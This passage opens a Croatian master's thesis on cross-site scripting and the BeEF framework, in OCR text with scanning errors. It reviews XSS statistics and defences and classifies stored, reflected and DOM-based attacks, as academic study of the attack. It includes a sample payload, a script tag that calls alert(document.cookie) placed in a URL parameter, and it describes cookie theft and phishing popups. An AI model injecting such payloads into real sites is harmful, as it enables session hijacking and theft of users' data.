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UNAPREDENJE WEB TEMELJENIH RJESENJA PRIMJENOM RADNOG
OKVIRA BEEF

SAZETAK

Danas rijetko postoji osoba koja ne koristi ra¢unalo povezano na Internet u slobodno
vrijeme ili na radnom mjestu. Internet olakSava mnoge svakodnevne zadatke, ali takoder nosi i
mogu imati velike posljedice za napadnutog korisnika. U ovom radu analizirani su XSS napadi
kako bi se razumio nacin funkcioniranja ove vrste napada te kao temelj za simulaciju napada.
Simulacija je izvedena pomoc¢u BeEF radnog okvira. Rezultati simulacije su analizirani kako
bi se dobio uvid u posljedice realnog napada. Na temelju sintetiziranih rezultata provedenog
istraZivanja pruzene su smjernice zaStite 0d XSS napada unutar i izvan web preglednika.

KLJUCNE RIJECI: kiberneti¢ki napad, XSS, BeEF, web stranica, kiberneticka
sigurnost

SUMMARY

Today, there is rarely a person who does not use a computer connected to the Internet
in their free time or at workplace. The Internet makes many everyday tasks easier, but it also
carries the dangers of cyber attacks. XSS are one of the most common types of cyber attacks
and can have major consequences for the attacked user. In this paper, XSS attacks are analyzed
in order to understand how this type of attack works and as a basis for attack simulation. The
simulation was performed using the BeEF framework. The simulation results were analyzed to
gain insight into the consequences of a real attack. Based on the synthesized results of the
conducted research, guidelines for protection against XSS attacks inside and outside the web
browser were provided.

KEY WORDS: cyber attack, XSS, BeEF, web page, cyber security



Sadrzaj

Lo VOO eieeeeeetuseesseeeesssessssssessssssessssssessesss s8R R RS E RS R R R R0 ES 1
2. Pregled dosadaSnjih iStraZiVaN]a.. . eeenssnsessssssesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssees 3
2.1, ZasStupljenost XSS NAPAUA......cccermerimesmmesssesmssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssanees 3
2.2.  Pregled dostupnih SIQUINOSNIN [JESEN A .w.uureruseeersseeesssmsesssseesssssssssssssssssssssssssessssssssssssessssanees 4
3. Analiza i KIasifikacija XSS NAPAUA .....couerrermermresnesmssssessssssessssssssssssssssssssssssssssssssssssssssssssssssasess 7
3.1, KIaSITIKACI]a XSS NAPAGA ....vevureeurrerseeesessseesssessssssssssesssssssssessssssssssessssssssssessssssssssesssssssssssssssssssanes 9
3.1.1.  Pohranjeni XSS NAPAUI ....wcreeresmressmeessmsesssssssssssssssssssssssssssmsssssssssssssssssssssssssssssssssssssssanes 9
3.1.2.  Reflektirani XSS NAPAUI.....owererrmrermrereeesmssssssssmssssssssssssssssssssssssssssssssssssssssssssssssssesssns 10
3.1.3. XSS napadi temeljeni N DOM-U......eremmmeesssssssssssssssssssssssssssssssssssessssssessssses 12

3.2, ULJECAJ XSS NAPAUA c.vevrrereseersseessssseesssssessssssessssssessssssessssssessssssesssssssssssssessssssssssssssssssessssssessssssesess 14
3.3.  Pregled trendova kretanja XSS NAPada........oeereresmmesmsssssmsssssssssssssssssssssssssssssssssssens 14
4. Simulacija XSS napada koristenjem BeEF radnog oKvira ... 19
4.1. Instalacija alata i priprema OKIUZEN Q.. eeesesssesssssssssessssssssssssssssssesssssssssssssssssssssssssssssssnes 19
4.2. Pokretanje i suCelje BEeEF radnog OKVIra....sssssssssssssssssssssssssses 23
4.3. Primjeri napada koriStenjem BeEF radnog OKVIra .......eeemeesssessssssssesssssssssesesns 25

4.4. Primjer napada udaljenim pristupom racunalu koristenjem BeEF i Metasploit radnog

OKVIT covvvuussssessssssssssssssssssss s sssssssss s sssss SRR RS RSEER R RS R E0S 29
5. Sinteza rezultata i prijedlog SMJEINICA ZASHLE .uuvuurerueerrsmmmrsssssssssssssesssssssssesssssssssssssssssssssssssseees 37
5.1. Prijedlozi zastite u WED Pregledniku ... eeeeeeeessseessssesssssssssssssesssssessssssssssssessssssesees 39
5.2.  Prijedlozi zastite izvan Web Preglednika . ... ereseessesssssssssssssssssssssssssssesess 42
5.3.  Sinteza prijedloga ZaStite ... —————————— 43
0. ZAKIJUCAK .cvuveereereeseeseesesssesssssse s sssssssssss s s ssss s 46
(=T £ (U O 48
0] 0) £ 1« Lo (o7 PPN 51
POPIS SHTKA ..vvrvevuseeessseeeesmseeeesssesessssesessssessssssessssssesessssesesssse s e s R bR R R R R R 53
POPIS GFafIKON@....ueeuereeeeeeseeessseessssessssssssessssssssessssssssssssssssssssssssssssssessssessssssssssesssssessssesssssassssessssessssassssssssaeses 54

POPIS tADIICA cuurtreerrreressses s 54



1. Uvod

U suvremenom svijetu tesko je zamisliti svakodnevni Zivot bez pristupa Internetu.
Internet je definitivno nezaobilazan dio kako slobodnog vremena tako i u radu. Sve cesée se
pojavljuju nove drustvene mreze koje velikom brzinom osvajaju milijune korisnika. Sve veci
broj tvrtki svoje poslovanje temelji na Internetu te mnoge usluge koje ljudi koriste svakodnevno

u najmanju ruku imaju moguénost pristupa putem Interneta.

Sve navedeno uvelike olakSava rad Kkorisnicima i daje nove mogucnosti zabave u
slobodno vrijeme. Drugim rijeCima, razvoj Interneta olakSava svakodnevni Zivot korisnicima.
Problem nastaje kada sa sve ve¢om interakcijom putem Interneta dolazi do povecanja rizika od
kibernetickih napada. Svaki korisnik spojen na Internet moze biti meta napada, radilo se o
privatnom korisniku koji koristi Internet u slobodno vrijeme ili poslovnim korisnicima i

tvrtkama.

Jedan od najcesc¢ih kibernetickih napada su skriptni napadi (engl. Cross — Site Scritping,
XSS). Njime je napada¢ u mogucnosti iskoristiti naizgled bezopasne web stranice za
implementaciju maliciozne skripte te samim time provedbu XSS napada, $to ih Kkrajnjem
korisniku moze uciniti teSkima za detekciju. Zato je tema ovog diplomskog rada vezana za XSS
napade jer je potrebno kontinuirano raditi na istrazivanjima o ovoj vrsti napada kako bi se
analizirala i unaprijedila postoje¢a sigurnosna rjesenja, razvijala nova rjeSenja te opcenito

ukazivalo na opasnosti koje se kriju iza XSS napada.
Ovaj diplomski rad podijeljen je u Sest cjelina, a kako slijedi:

Uvod

Pregled dosadasnjih istrazivanja

Analiza i klasifikacija XSS napada

Simulacija XSS napada koristenjem BeEF radnog okvira

Sinteza rezultata 1 prijedlog smjernica zastite

Zakljucak
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U drugom poglavlju analizirana su relevantna dosadas$nja istrazivanja. Poglavlje je

podijeljeno u dva potpoglavlja. U prvom potpoglavlju analiziraju se trendovi o XSS napadima



koji govore o njihovoj zastupljenosti kako bi se dobio uvid u ozbiljnost i u€estalost ove vrste
napada. IstraZivanja analizirana u drugom potpoglavlju su ona koja su predlozila odredena
sigurnosna rjesenja. Bitno je pruziti smjernice zastite, a analiza zakljucaka drugih autora uvelike

pomaze u razvoju vlastitih ideja.

Tre¢im poglavljem analizirani su XSS napadi. U svakoj literaturi XSS napadi se dijele
na tri klase pa je prema tome navedena njihova klasifikacija te opisano Sto karakterizira svaku

klasu. XSS napadi se Cesto izvode kako bi se doslo do nekog krajnjeg cilja (npr. udaljeni pristup,

vvvvv

Cetvrto poglavlje predstavlja praktiéni dio ovog diplomskog rada. Simulacija XSS
napada napravljena je pomo¢u BeEF radnog okvira. Za potrebe simulacije razvijena je
jednostavna web stranica podignuta na mrezni posluzitelj kako bi joj se moglo pristupiti na
lokalnoj mrezi. Prikazane su moguénosti napad putem navedenog alata te napad u kombinaciji
s Metasploit alatom jer se time proSiruju mogucnosti napada i dobiva bolji uvid u opasnosti

ovakvih napada.

Uz prikaz opasnosti koje se kriju iza XSS napada bitno je pruziti smjernice zastite pa su
u posljednjem poglavlju prije zakljuCka prikazani i analizirani primjeri koji su takoder
prethodno testirani. Predlozene smjernice zastite dostupne su svakom korisniku koji smatra da

je bitno zastiti se od ovakvih napada.



2. Pregled dosadasSnjih istrazivanja

XSS napadi su vrlo popularna tema za razne radove i istrazivanja jer se radi o jednom
relativno jednostavno izvesti XSS napade uglavnom dostupni svima. To su neki od razloga koji

potiCu istrazivanje i potrebu za stalnim razvojem sigurnosnih rjeSenja i savjeta kako se obraniti

od XSS napada.

2.1. Zastupljenost XSS napada

StatistiCcki podaci dobiveni kroz relevantna istrazivanja uvijek su bitan pokazatelj
zastupljenosti odredenog problema. Gotovo nema istrazivanja na temu ucestalosti kibernetic¢kih
napada, a da se ne dotaknu i XSS napadi, posebno kada se istrazuje sigurnost web aplikacija.
Bitno je za napomenuti kako je OWASP (engl. Open Web Application Security) uvrstio XSS
na sedmo mjesto OWASP Top Ten liste. OWASP je organizacija koja pruza podatke o mreznoj
sigurnosti, a OWASP Top Ten je jedan od njihovih dokumenata koji sluzi Sirenju svijesti o

najrizi¢nijim prijetnjama i napadima na web aplikacije [1].

Sto se ti¢e zastupljenosti XSS napada u odnosu na druge kiberneti¢ke napade, tvrtka
Precise Security objavila je istrazivanje u kojem navode kako su XXS napadi bili udio od 40%
od svih kibernetickih napada u 2019. godini, $to je vrlo veliki udio za jednu vrstu napada te
samim time potvrduje koliko je bitno kontinuirano razvijati sigurnosna rjeSenja. Takoder,
zanimljiv podatak iz istog istraZivanja je taj da gotovo 60% kiberneti¢kih napada su napadaci

izveli kako bi testirali svoje mogucnosti [2].

ENISA (engl. European Network and Information Security Agency) je 2020. godine
objavila znanstveni izvje$taj o napadima na web aplikacije u kojem su sadrzana brojna
istrazivanja i izvjestaji drugih organizacija. Tako je i navedeno istrazivanje tvrtke Positive
technologies u kojem je, izmedu ostalog, objavljeno kako je u 53% testiranih web aplikacija
pronadena ranjivost na Cross — Site Scripting napade. Navedeni postotak ih ¢ini drugom po
zastupljenosti pronadenom prijetnjom prema njihovom istrazivanju, na prvom mjestu se nalaze

ranjivosti nastale pogresnom sigurnosnom konfiguracijom [3].



U ENISA-inom izvjestaju analizirani su i podaci tvrtke Akamai Technologies. Tvrtka
pruza usluge kiberneticke sigurnosti, prikuplja podatke od svojih klijenata te na temelju
prikupljenih podataka svake godine objavljuje izvjestaj. Prema navedenom izvjestaju XSS
napadi se nalaze tre¢i po zastupljenosti vektor napada na web aplikacije u 2019. godini, ali i

mnoge prethodne godine [4].

2.2. Pregled dostupnih sigurnosnih rjeSenja

U prethodnom potpoglavlju navedeni su rezultati iz relevantnih istrazivanja u kojima je
analizirana ucestalost XSS napada, zastupljenost ranjivosti itd. Osim statistiCkih podataka o
XSS napadima, bitno je istrazivati sigurnosna rjesenja i njihove moguénosti pa prema tome, u
mnogim istrazivanjima na temu XSS napada predloZena su razli¢ita rjeSenja i metode za obranu

od napada, a u nastavku bit ¢e analizirana neka od njih.

U istrazivanju Yusof I., Pathan Khan A.; Preventing Persistent Cross-Site Scripting
(XSS) Attack By Applying Pattern Filtering Approach, 2015. predlozena metoda obrane od
XSS napada je primjena filtriranja prema definiranom uzorku. Autori istrazivanja su kao
pocetnu tocku naveli scenarij u kojem napada¢ unosi svoju malicioznu skriptu kroz odredeni
prostor za korisnicki unos na web stranici te kao osnovnu ideju ovog pristupa filtriranje svakog
sadrzaja unesenog od strane korisnika kako bi se prepoznao maliciozan kod prije unosa u bazu

podataka na posluzitelju. Filtriranje se primjenjuje na sljede¢im dijelovima koda [5]:

e Filtriranje rukovateljima dogadaja (engl. event handler)
e Filtriranje URI-a (engl. Uniform Resource ldentifier)
e Filtriranje nesigurnih klju¢nih rijeci

e Filtriranje specijalnih znakova

Filtriranje se razlikuje ovisno o tome koji od prethodno navedenih dijelova koda se
filtrira, ali princip je sli¢an u svakom slucaju, a to je da se uneseni kod usporeduje sa unaprijed
definiranim uzorcima te na temelju usporedbe zakljucuje nalazi li se u korisnikovom unosu
neka maliciozna skripta ili ne. Za primjer sa filtriranjem event handlera autori su naveli kako
se kod filtrira pomoc¢u regularnog izraza. Regularni izraz je skupina znakova koji definiraju
neki drugi niz znakova za pretragu. Ako korisnikov unos sadrzi dio koji se odgovara regularnom
izrazu, taj dio Ce biti zamijenjen sa ,,nul/“. Na sli¢an nacin radi 1 filtriranje prema nesigurnim
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kljuénim rije¢ima. Unaprijed se definira lista nesigurnih rije¢i kao $to su: document.cookie,
document.write, window.location, itd. Ako se radi, na primjer, o web portalu za novosti koji
sadrzi moguc¢nost unosa komentara, nema razloga da korisnik unese neku od prethodno
navedenih klju¢nih rijeci pa prema tome, gotovo sigurno se radi o malicioznom kodu te nece

biti pohranjen [5].

U radu Johns M., Engelmann B., Posegga J.; XSSDS: Server-side Detection of Cross-
site Scripting Attacks Kao metoda obrane od XSS napade predlozZen je sustav detekcije XSS-a
na strani posluzitelja. Autori navode kako je ovo rjeSenje temeljeno na dvije pretpostavke. Prva
je da postoji stroga korelacija izmedu unesenih parametara i reflektiranog XSS-a. To je temelj
rjeSenja za detekciju reflektiranog XSS-a. Druga pretpostavka je da svaka web aplikacija ima
ogranicen broj legitimnih JavaScript skripti te se radi o temelju za rjesenje za obranu od
pohranjenih XSS napada. Prema prethodno navedenom, autori predlazu detekcijski mehanizam
koji pronalazi direktnu korelaciju izmedu unesenih podataka i reflektiranog odgovora. Ako
napadac unese malicioznu skriptu, ona se u potpunosti nalazi u HTTP (engl. Hypertext Transfer
Protocol) zahtjevu i HTTP odgovoru. Prema tome, XSS bi trebao biti detektiran
usporedivanjem ulaznih podataka i povratnog JavaScript koda. Ukoliko su jednaki, radi se o
XSS-u. Kao ogranic¢enje ovog pristupa autori navode ne primjenjivost u obrani od pohranjenih
XSS napada. Kod pohranjenih XSS-a nije uvijek slucaj da postoji veza izmedu HTTP zahtjeva
I odgovora pa prema tome, rjeSenje ne moze biti usporedivanje. Kao rjeSenje za pohranjene
napade autori navode usporedbu odlaznih skripti sa listom skripti koje se nalaze izvorno na web
aplikaciji. Svaka web aplikacija sadrzi bezazlene JavaScript skripte koje su potrebne za njezin
rad pa autori predlazu fazu ,treninga® detektora kako bi se definirala lista poznatih skripti.
Ukoliko detektor primijeti promijene u setu skripti, odnosno novu skriptu, najvjerojatnije se
radi o XSS skripti. Druga mogucnost je da je stvarno dodana neka nova skripta u web aplikaciju,

ali u tom slucaju programer stranice moze dodati novu skriptu na listu [6].

U radu Wuzinger P., Platzer C., Ludl C., Kirda E., Kruegel C., SWAP: Mitigating XSS
Attacks using a Reverse Proxy, autori analiziraju XSS napade te predlazu rjeSenje pod
skracenim nazivom SWAP (engl. Secure Web Application Proxy). SWAP je rjeSenje na strani
posluzitelja koje detektira i samim time sprje¢ava XSS napade. Navedeni alat radi na obrnutom
proxy posluzitelji. Obrnuti proxy, za razliku od posrednickog proxy posluzitelja se nalazi na
strani mreznog posluzitelja i obi¢no se koriste od strane pruzatelja web aplikacija i usluga, dok
se posrednicki proxy najcesce koristi u ve¢im organizacijama prije izlaza na Internet. U SWAP

rjeSenju, obrnuti proxy prosljeduje sav promet izmedu web posluzitelja i korisnika. Prije nego
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se Salje natrag prema korisnikovom pregledniku, svaki odgovor prolazi kroz detektor za
JavaScript kako bi se detektirao maliciozni kod. U JavaScript detektoru nalazi se funkcionalni
web preglednik koji obavjestava nalazi li se skripta u pregledanom sadrzaju. Kao §to je bio
slu€aj 1 u prethodno analiziranom istrazivanju, i u ovom rjesenju je implementiran mehanizam
koji razlikuje legitimne skripte za rad web aplikacije od onih malicioznih. Ukoliko se detektira
XSS skripta, odgovor nije proslijeden prema korisniku ve¢ samo obavijest o pokusaju XSS

napada [7].

Istrazivanje Sawant H., Agaga S., Web Browser Attack Using BeEF Framework,
koriSten je BeEF XSS radni okvir, koji ¢e biti koriSten i u ovom diplomskom radu. U radu je
navedeno kako 45% Internet korisnika ne koristi najsigurniju verziju svojeg preglednika $to ih
¢ini ranjivima, posebno na XSS napade. Autori su u radu prikazali primjer napada koristenjem
BeEF radnog okvira te pokazali koliko je bitno voditi racuna o sigurnosnim rjesenjima
dostupnim svim korisnicima, kao S§to su redovite nadogradnje preglednika i koriStenje
antivirusnih softwarea. Autori su za simulaciju napada koristili virtualne masine, jednu za
napadaca i drugu kao zrtvu napada. Od ponudenih napada u BeEF sucelju koristen je Pretty
Theft exploit koji pokrece lazni sko¢ni prozor na napadnutom pregledniku, a za izgled sko¢nog
prozora odabrano je Facebook sucelje za prijavu. Nakon §to Zrtva napada unese svoje podatke
u skocni prozor, napadac¢ ith moze procitati u BeEF sucelju. Kao primjer obrane od napada
prikazano je koriStenje antivirusa. Autori su aktivirali Symantec antivirus te ponovili napad, no
ovaj put se BeEF nije mogao spojiti na preglednik te je anti virus izbacio poruku kako je

detektiran napad BeEF radnim okvirom [8].



3. Analiza i klasifikacija XSS napada

Cross — site scripting napadi su vrsta kiberneti¢kih napada koji se izvode na nacin da
napada¢ implementira maliciozni kod ili skriptu u naizgled bezopasnu web stranicu ili web
aplikaciju. Maliciozne skripte su najéesc¢e pisane u JavaScript programskom jeziku, ali mogu
biti napisane i u drugim jezicima npr. CSS (engl. Cascading Style Sheets), VBScript, itd.
JavasScript je jezik koji se izvrSava u web pregledniku korisnika te omogucava ,,dinamic¢nost* i
izgled stranica pa je samim time neizbjezan dio web stranica i aplikacija. Prema tome, sami
napad se ne dogada samo implementiranjem maliciozne skripte u stranicu, ve¢ njezinim

izvrSavanjem u pregledniku Zrtve kada se posjeti navedenu web stranicu ili aplikaciju [9].

Kada se radi o XSS napadima, meta napada je krajnji korisnik web stranice, a ne
posluzitelj, kao $to je slucaj kod nekih kibernetickih napada. Kao S$to je prethodno navedeno,
maliciozni kod pa i samim time i glavnina XSS napada se izvrSava u web pregledniku Zrtve,
odnosno na strani korisnika zarazene web stranice. Prema tome, moze se re¢i da je web stranica
sa malicioznim kodom samo posrednik koji omoguéava implementaciju koda i njegov
,»prijenos® do zrtve. Nakon §to napada¢ preuzme kontrolu nad korisnikovim web preglednikom,
u mogucénosti je izvesti mnoge opasne radnje kao $to su: krada korisnickih podataka,
keylogging®, pregledavanje povijesti pretrazivanja, krada kola¢i¢a i pristup mnogim drugim

osjetljivim podacima koji mogu Koristiti u daljnjim ne zakonitim radnjama [10].

Neki od mogucih scenarija kako maliciozna JavaScript skripta ili kod mogu doéi do

web stranice koju posjeéuje korisnik su [10]:

e Vlasnik web stranice je namjerno postavio maliciozni kod u svoju stranicu. U
ovom slucaju stranica je naj¢esce i kreirana iz razloga za provodenje XSS
napada.

e [skoriStena je ranjivost (npr. ranjivost mreze ili operativnog sustava) kako bi se
implementirao maliciozni kod u ve¢ postojecu web stranicu.

e Maliciozni kod je implementiran u javni dio web stranice, odnosno iskoriStena

je XSS ranjivost kao $to je na primjer prostor za Unos komentara.

! Vrsta napada kojim napada¢ ¢ita unos s tipkovnice



o Korisnik je kliknuo na DOM (engl. Document Object Model) poveznicu koja je

kreirana za tu namjenu.

Primjeri scenarija XSS napada u prva dva slucaja su objasnjeni u nastavku. Napadac je
kreirao web stranicu sa namjerom da pomocu nje izvr$i XSS napad. U HTML kod stranice,
implementirao je putanju do JavaScript skripte. Stranica je zatim poslana Zrtvi ili je poveznica
objavljena na nekom javnom mjestu. Kada zrtva otvori stranicu sa umetnutim malicioznim

kodom, on se izvrSava u web pregledniku i napada¢ ima odredenu kontrolu nad njime [10].

Scenariji pod tockama tri i Cetiri mogu biti jo§ ,,opasniji* jer ¢esto mogu biti teZi za
prepoznati na prvi pogled. Pod tockom tri, napada¢ moze iskoristiti ranjivost postojece stranice,
koju je korisnik do sada i posjecivao te ju smatra ,,sigurnom*. Takva ranjivost moze biti na
primjer polje za unos komentara u koje napada¢ unese putanju do maliciozne skripte te
sljede¢em korisniku koji pregledava komentar u ne znanju se izvrSava skripta u pregledniku.
Takav oblik napada moze biti teZi za prepoznavanje nego npr. otvaranje sumnjive stranice ili

poveznice na stranicu koji je poslan od ,,sumnjive osobe [10].

I Napadac Korisnik Web stranica Posluzitelj

1. Unos maliciozne
skripte
2. Pristup web stranici
3. Primanje maliciozne skripte
4. Izvriavanje
skripte
5. Pristup
" informactjama

Slika 1. Dijagram koraka XSS napada [11]

Na slici 1. prikazan je sekvencijalni dijagram koji prikazuje pojednostavljene korake
XSS napada i kojim redom se izvrSavaju izmedu sudionika, prema [11]. Neovisno o kojoj se

klasi napada radi, moze se primijeniti prikazani dijagram.



3.1. Kilasifikacija XSS napada

Cross — Site Scripting napadi se u literaturi Cesto klasificiraju u razli¢ite klase. Iako
svaka vrsta XSS napada ima podjednak krajnji cilj na metu napada, one se mogu razlikovati
prema nacinu na koji su izvedeni. Prema tome, razlikuju se tri klase XSS napada koje se mogu

pronaci u literaturama i istrazivanjima [12]:

e Pohranjeni (engl. Stored) XSS napadi,
o Reflektirani (engl. Reflected) XSS napadi,
e Temeljeni na DOM-u (engl. Document Object Model based).

Pohranjeni se Cesto nazivaju i ustrajni (engl. Persistent), a reflektirani se nazivaju i
neustrajni (engl. non-Persistent). Kao $to je navedeno, svaka od navedenih vrsta napada se

razliku je prema nac¢inu na koji se izvodi, a u nastavku ¢e biti objasnjen svaki od njih.

3.1.1. Pohranjeni XSS napadi

Pohranjeni XSS napadi su moguci ako je web stranica ili aplikacija ranjiva na ovu vrstu
napada, odnosno, ako ne provjerava unos svakog korisnika stranice prije njegove pohrane. U
ovoj vrsti XSS napada, napada¢ iskoriStava navedenu ranjivost kako bi implementirao
maliciozni kod koji se zatim sprema na web posluzitelj od stranice ili aplikacije. Kod ovog tipa
XSS napada, zrtva napada ne mora kliknuti na putanju kako bi se izvrsio maliciozni kod, ve¢

se on izvrSava samim posjetom ranjive stranice na ¢ijem posluzitelju je pohranjen [13].

Pohranjeni XSS napadi se rjede pojavljuju u odnosu na reflektirane. Razlog tome je $to
je danas relativno teSko pronaci web stranicu ili aplikaciju koja je ranjiva na ovakvu vrstu
napada. Kako se maliciozni kod pohranjuje u posluzitelju, svaki posjetitelj stranice moze biti
Zrtva napada, a ne samo odredena osoba kojoj je na primjer poslana poveznica na stranicu pa

prema tome se moze reé¢i da je ovo najopasniji oblik XSS napada [12].

Prethodno opisan primjer pohranjenog XSS napada prikazan je na slici 2. Prikazan je
dijagram te koraci od implementacije maliciozne poruke do napada na korisnikov web

pretrazivac.



4 Prijava

5. Kolagié1 Korisnikov
preglednik

6. Zahtjev za

‘ 5 9. Preglednik
pristup we

je

aplikacyjs kompromitiran
8. Odgovor sa
malicioznom
A porukom
1. Pryjava A 4
7. Dohvat ¥
maliciozne Web -
poruke S 2. Unos maliciozne "XYZ" Napadacd
aplikacija poruke

A

Baza podataka

T
'
'
- I
'
5

3. Pohrana XYZ
poruke

Slika 2. Koraci pohranjenih XSS napada [12]

Prema prethodno navedenoj analizi kako se dolazi do pohranjenih XSS napada, moze

e Forumi,

e Web stranice za pisanje blogova,

e Web bazirani Email posluzitelji ili klijenti,

e Drustvene mreze i

e Opcenito stranice koje sadrzavaju dijelove za unos od strane korisnika (npr.

polje za komentare).

3.1.2. Reflektirani XSS napadi

Druga vrsta XSS napada naziva se reflektirani ili neustrajni (engl. non - persistent)

napadi. U ovoj vrsti napada, maliciozna skripta ili kod nisu trajno pohranjeni na posluzitelju
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web stranice ili aplikacije, ve¢ se ona reflektira kao odgovor na zahtjev poslan od strane

korisnika prema posluzitelju. Od prethodno navedenog i dolazi naziv ,,reflektirani* [12].

U ovoj vrsti XSS napada, napada¢ moze kreirati maliciozni URL (engl. Uniform
Resource Locator), na primjer URL koji sadrzi pretragu na ranjivoj web stranici, s time da se
kao argument u pretrazi nalazi maliciozna skripta. URL se zatim moze poslati prema zrtvi
napada koriste¢i Email ili na bilo koji drugi nacin za razmjenu poruka. Kada korisnik, u ovom
slu¢aju zrtva napada, klikne na dobiveni URL, Salje se zahtjev prema posluzitelju. Kako se
trazeni argument, u ovom slucaju maliciozna skripta, ne nalazi na posluzitelju, zahtjev se
reflektira natrag prema korisniku kao odgovor zajedno sa malicioznom skriptom koja se zatim
izvrSava u web pregledniku zrtve [12]. Na slici 3 prikazan je dijagram sa osnovnim koracima u
reflektiranom XSS napadu.

2. Korisnik odabire
poveznicu

Korisnikov
preglednik

5. Poruka o greici sa
malicioznom skriptom
33

1. Izrada
malicioznog
URL-a

6. Preglednik je
kompromitiran

v
4. Gregka:
Zahtjev nije
ronaden

3. Pretraga za : ~ %
zahtjevom Web Napadac

| aplikacija

Baza podataka

Slika 3. Koraci reflektiranih XSS napada [12]

Za razliku od pohranjenih XSS napada, ranjivosti na reflektirane XSS napade je lakSe
pronaci, a samim time lakSe ih je i provesti pa su takve vrste napada ¢es¢e. Web stranice sa

sljede¢im funkcionalnostima mogu biti ranjive na ovakvu vrstu napada [14]:
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e Web stranice sa moguénosti pretrazivanja,

e Web stranice sa mogucnosti prijave, gdje se rezultat prijave prikazuje na HTML
stranici,

e Web stranice koje prikazuju informacije u HTTP zaglavljima,

e Web stranice koje koriste DOM parametre.

3.1.3. XSS napadi temeljeni na DOM-u

Treca vrsta XSS napada koja se mozZe naci u literaturama je XSS temeljen na DOM-u.
Kako bi se razumjelo na koji nacin radi ova vrsta XSS napada, potrebno je razumjeti Sto je
DOM. DOM je API (engl. Application Programminf Interface) za HTML i XML (engl.
Extensible Markup Language) dokumente. DOM omogucava prikaz strukture dokumenta u
obliku logickog stabla, a svaka grana zavrSava u ¢voru koji sadrzava objekt. Prema tome, DOM
omogucava programski pristup stablu te je pomocu objekata moguce izmijeniti strukturu ili
sadrzaj. Kada se web stranica uéita, preglednik kreira DOM ugitane stranice te je zatim moguce
dohvati i upravljati DOM elementima i atributima [15]. Na slici 4. prikazan je dijagram s

koracima u XSS napadu temeljenom na DOM-u prema [16].
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“—

Posluzitelj

6. Preglednik je 3. Zahtjev za malicioznom

kompromitiran skriptom

1. Slanje

malicioznog URL-a 4. Odgovor s greskom 1

malicioznom skriptom

2. Odabir URL-a

Odgovor nakon manipulacije:
<em><seriptrxyza/seriptt<em>

<script>

var keyword=location search.substring(6):
document querySelector('em'). innerhtl=keyword;
<'script>

</html>

Odgovor posluzitelja:
<script>
var keyword=location search.substring(6);

S. InnerHTML
izvriavanje

Slika 4. Koraci XSS napada temeljenih na DOM-u [16]

XSS temeljena na DOM-u radi na nacin da se napadacev sadrzaj izvrSava kao rezultat
izmjene DOM okruzenja u pregledniku zrtve pa se kod na korisnickoj strani ponasSa
neocekivano. Primjer DOM napada je sljedeci: Napada¢ posalje URL neke postojece web
stranice,  ali u njega implementira  malicioznu  skriptu, na  primjer
wdefault=<script>alert(document.cookie)</script>*. Pri tome, ,,default” je neki parametar
koji je inaCe moguce odabrati na toj stranici. Nakon Sto Zrtva klikne na URL, Salje se zahtjev.
Posluzitelj odgovara sa stranicom koja sadrzava implementirani maliciozni kod, a preglednik
kreira DOM za tu stranicu. Pri kreiranju DOM-a, pokrece se napadaceva skripta, u ovom slucaju
salert(document.cookie) “. Na prvu, DOM temeljeni napad se moze Ciniti sli¢an kao reflektirani
XSS napad, ali jedna od razlika je u tome $to odgovor od web posluzitelja ne sadrZi napadacéev

sadrzaj, ve¢ se on izvrSava na strani klijenta u DOM okruzenju [17].
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3.2.  Utjecaj XSS napada

Za neke kiberneticke napade se moze rec¢i da su priliéno usmjereni prema jednom cilju

kada se radi o eksploataciji ranjivosti. XSS napadi mogu imati mnoge nepozeljne efekte na

zrtvu napada. Ne radi se samo o napadu kojim se preko napadnutog web preglednika mogu

dobiti odredene, osjetljive informacije, ve¢ je moguce izvesti ¢itav niz drugih napada nakon $to

web preglednik izvr$i malicioznu skriptu. Neki od efekata i daljnjih napada koje je moguce

izvrsiti XSS napadom su [12]:

Krada kolaci¢a — Napada¢ moze ukrasti kolacice koji sadrze ID (engl. Identifier)
sesije 1 preuzeti kontrolu nad korisnickim profilom te raditi daljnje maliciozne
radnje.

DoS (engl. Denial of Service) — Kada korisnik zeli pristupiti odredenoj web
stranici, XSS napadom je moguce zrtvu napada preusmjeriti na neku drugu web
stranicu i tako korisniku onemogucit pristup Zeljenoj stranici. Takoder moguce
je uskratiti pristup slanjem velikog broja sko¢nih prozora.

Eksploatacija preglednika — Maliciozna skripta moze preusmjeriti korisnikov
preglednik na napadacevu stranicu kako bi dobio jo§ vecu kontrolu nad
sustavom.

Udaljeni pristup racunalu — Nakon $to je korisnikov preglednik napadnut XSS
napadom, moguce je na razne nacine navesti zrtvu na preuzimanje virusa koji ¢e
napadacu omoguditi udaljeni pristup ra¢unalu te samim time omoguditi daljnje
za napadnutog korisnika opasne radnje.

Phishing napadi — Moguce je izvrsiti razne phishing napade koji bi uvjerili
korisnika da ne rade nista opasno, kao $to su lazne web stranice ili obrasci za
prijavu kojima napada¢ lako moze doznati informacije kao $to su podaci za

prijavu na razne servise.

3.3.  Pregled trendova kretanja XSS napada

Trendovi kretanja i statistiCki podaci o kiberneti¢kim napadima bitan su pokazatel]

ozbiljnosti problema koji predstavljaju pojedine vrste napada te pruzaju temelj za daljnje
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istrazivanje. Vaznost problematike kibernetickih napada vidljiva je iz brojnih istrazivanja koja
se bave iznalazenjem moguc¢nosti detekcije i zastite od brojnih oblika kiberneti¢kih prijetnji
poput DDoS i sli¢nih napada [18], [19] i [20]. Okruzenju elektroni¢kog poslovanja, kao sve
zastupljeniji naCin globalnog poslovanja, kiberneti¢ki napadi predstavljaju sve veci izazov §to
je 1 identificirano u istrazivanju [21]. Organizacije i tvrtke koje se bavi kibernetiCkom i
mreznom sigurnos$¢u prikupljaju podatke iz svojih istrazivanje koje periodic¢ki objavljuju te
time omogucavaju pracenje trendova pojedinih napada. U ovom potpoglavlju bit ¢e prikazani

rezultati nekih relevantnih istrazivanja.

Cesto koristeni podaci u znanstvenim radovima dolaze od tvrtke WhiteHat Security.
Radi se o tvrtki koja se bavi kibernetickom sigurnoséu te razvija platforme i sigurnosna rjesenja.
Od svojih Kklijenata kontinuirano prikupljaju podatke na temelju kojih objavljuju izvjeséa. U
izvjes¢éu Application security statistics report za 2017. godinu objavljeni su podaci prikazani u
grafikonu 1 [22].

Curenje informacija _ 37%
[zmjena informacija _ 27%
Nedovoljna za&tita transportnog sloja - 21%
CSRF - 15%

Grafikon 1. Vjerojatnost ranjivosti prema klasama dobivena dinamickom analizom [22]

Podaci prikazani na grafikonu 1 dobiveni su dinamickom analizom, odnosno
